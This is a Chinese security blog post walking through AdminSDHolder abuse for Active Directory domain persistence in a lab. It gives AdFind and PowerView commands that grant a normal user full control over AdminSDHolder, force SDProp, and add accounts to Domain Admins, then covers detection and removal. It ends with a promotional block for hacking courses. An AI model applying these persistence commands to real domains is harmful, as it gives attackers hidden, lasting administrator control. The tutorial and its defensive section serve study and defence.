AdminSDHolder 滥用

AdminSDHolder 滥用

活动目录域服务使用AdminSDHolder、Protected Groups 和 Security Descriptor Propagator 来保护特权用户和特权组被恶意的修改或滥用。这个功能是在Windows 2000 服务器活动目录的第一个版本中引入的,目的是保护特定对象不会被恶意修改,但也给攻击者进行域权限维持留了一个好的隐蔽方案。

Protected Groups

自 Windows 2000 服务器中首次方法活动目录以来,Protected Groups(受保护组)的概念就一直存在。
Protected Groups指活动目录内置的一些特权对象。

Protected Groups的列表由Windows 2000 Server中的4个安全组(Administrators、Domain Admins、Enterprise Admins、Schema Admins)组成。在 Windows 2000 Server SP4 和 Windows Server 2003中还添加了其他几个组,包括管理员和Krbtgt账户。在带有SP1及更高版本的Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 R2、Windows Server 2016 R2的版本中,微软扩展了这个列表,增加了 Read-only Domain Controllers组。在Windows Server 2019 R2 的版本中,微软再次扩展了这个列表,增加了 Key Admins和Enterprise Key Admins 组。

Protected Groups的对象会将admin-inCount值设为1,因此可以用该值来过滤活动目录Protected Groups的对象列表。使用Adfind执行如下的命令查询 Protected Groups对象的列表,效果如图所示:

Adfind.exe -b dc=hack,dc=com -f adminCount=1" dn

图片.png

也可以使用PowerSplit中的PowerView.ps1脚本执行如下的命令枚举AdminCount值为1的对象,结果如图所示:

#枚举AdminCount 值为1的账户
Import-Module .\PowerView.ps1;Get-NetUser -Admincount | select name
#枚举AdminCount 值为1的组
Import-Module .\PowerView.ps1;Get-NetGroup -Admincount

图片.png

AdminSDHolder

每个活动目录域都有一个名为AdminSDHolder的容器对象,它的存储路径为:CN=AdminSDHolder,CN=System,DC=hack,DC=com

AdminSDHolder对象具有唯一的ACL,用于控制Protected Groups 的安全主体的权限,以避免这些特权对象被恶意修改或滥用。可以理解为AdminSDHolder的ACL配置是一个安全的配置模板。AdminSDHolder对象默认情况下禁用继承,确保不继承父级权限。默认情况下,只有Administrators、Domain Admins 和 Enterprise Admins 组拥有对AdminSDHoler对象属性的修改权限。

Security Descriptor Propagater

默认情况下,每隔一小时在持有模拟器操作主角色的域控上运行一个SDProp(Security Descriptor Propagation)后台进程。SDProp进程并不知道哪些对象是在Protected Groups中,它只能根据目标对象的AdminCount属性是否为1来判断目标对象是否受保护的,然后将这些对象的ACL与AdminSDHolder对象的ACL进行比较。如果是受保护对象的ACL配置与AdminSDHolder容器的ACL配置不一致,SDProp进程将重写该收保护对象的ACL,使其恢复与AdminSDHolder容器相同的ACL配置。

利用AdminSDHolder实现权限维持

实验环境如下:

  • 域管理员:hack\administrator

  • 域普通用户:hack\jack

由于用户jack是域普通用户,因此它没有给Domian Admins组中添加用户的权限,如图所示,当用户jack尝试给Domain Admins 组中添加用户时,提示权限拒绝。

net group "domain admins" hack2 /add /domain

图片.png

现在我们获得了域管理员的权限,并想利用AdminSDHolder进行权限维持,可以进行如下的操作:修改AdminSDHolder对象的ACL配置,使得普通域用户jack对其拥有完全控制权的权限可以使用Empire下的powerview.ps1脚本执行如下的命令进行修改,如图所示:

Import-Module .\powerview.ps1
#添加用户jack对AdminSDHolder的安全控制权限
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=hack,DC=com" -PrincipalIdentity jack -Rights ALL -Verbose

图片.png

执行如下的命令查询AdminSDHolder的ACL配置,如图所示,可以看到用户jack已经对AdminSDHolder拥有安全控制权限了

#查询AdminSDHolder的ACL配置
Adfind.exe -s base -b "CN=AdminSDHoler,CN=System,DC=hack,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;hack\jack

图片.png

等待SDProp进程运行,或者也可以使用Invoke-ADSDPropagation.ps1脚本手动触发SDProp进程运行。SDProp进程运行时,会以AdminSDHolder的ACL为模板对受保护的对象的ACL进行检查。发现两者的ACL不一致,SDProp进程将重写受保护对象的ACL,使其恢复与AdminSDHolder容器相同的ACL配置。因此,最终我们控制的用户jack将会对所有受保护的对象均拥有完全控制的权限。

使用 Invoke-ADSDPropagation.ps1脚本执行如下的命令手动触发SDProp进程运行,如图所示:

脚本下载:https://github.com/edemilliere/ADSI

#使用Invoke-ADSDPropagation.ps1脚本触发SDProp运行
Import-Module .\Invoke-ADSDPropagation.ps1;
Invoke-ADSDPropagation -TaskName runProtectAdminGroupsTask

图片.png


SDProp进程运行完成后,使用Adfind执行如下的命令查询用户jack是否对Domain Admins组、Enterprise Admins 组和域管理员administrator 等受保护对象的具有完全控制权限,结果如图所示:

#检查用户jack对Domain Admins 组是否具有完全控制权限
Adfind.exe -s base -b "CN=Domain Admins,CN=Users,DC=hack,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;hack\jack
#检查用户jack对Enterprise Admins 组是否具有完全控制权限
Adfind.exe -s base -b "CN=Enterprise Admins,CN=Users,DC=hack,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;hack\jack
#检查用户jack对y域管理员administrator是否具有完全控制权限
Adfind.exe -s base -b "CN=Administrator,CN=Users,DC=hack,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;hack\jack

图片.png

也可以图形化查看ACL,如图所示,可以看到用户jack对Domain Admins组具有完全控制权限

图片.png

再次以用户jack身份往Domain Admins和Enterprise Admins组中添加用户,如图所示,可以看到,赋予权限后,用户添加成功:

net group "domain admins" hack2 /add /domain
net group "Enterprise admins" hack2 /add /domain

图片.png

AdminSDHolder 滥用检测和防御

对于防守方和蓝方来说,如何针对AdminSDHolder 滥用进行检测和防御呢?

使用Adfind执行如下的命令查询AdminSDHolder 的ACL查看是否有可疑的用户对其拥有不正常的权限,如图所示,可以看到用户jack对其拥有不正常权限

#查询AdminSDHolder 的ACL
Adfind.exe -s base -b "CN=AdminSDHoler,CN=System,DC=hack,DC=com" nTSecurityDescriptor -sddl+++ 

图片.png

也可以使用PowerSploit下的powerview.ps1脚本执行如下的命令进行查询,如图所示:

Import-Module .\powerview.ps1
#查询AdminSDHoler具有完全控制的权限
Get-ObjectAcl -ADSprefix "CN=AdminSDHoler,CN=System" | select IdentiyReference

如果想移除用户jack对AdminSDHoler的完全控制权限,可以使用powerview.ps1脚本执行如下的命令,结果如图所示,但还是需要等待SDProp运行完成后,用户jack对受保护对象的完全控制权限才会移除。

Import-Module .\powerview.ps1
#移除用户jackAdminSDHoler具有完全控制的权限
Remove-DomainObjectAcl -TargetIdentity "CN=AdminSDHoler,CN=System,DC=hack,DC=com" -PrincipalIdentity jack -Rights All -Verbose

图片.png

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

 

 (都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。 

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

 最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取 

  • 41
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值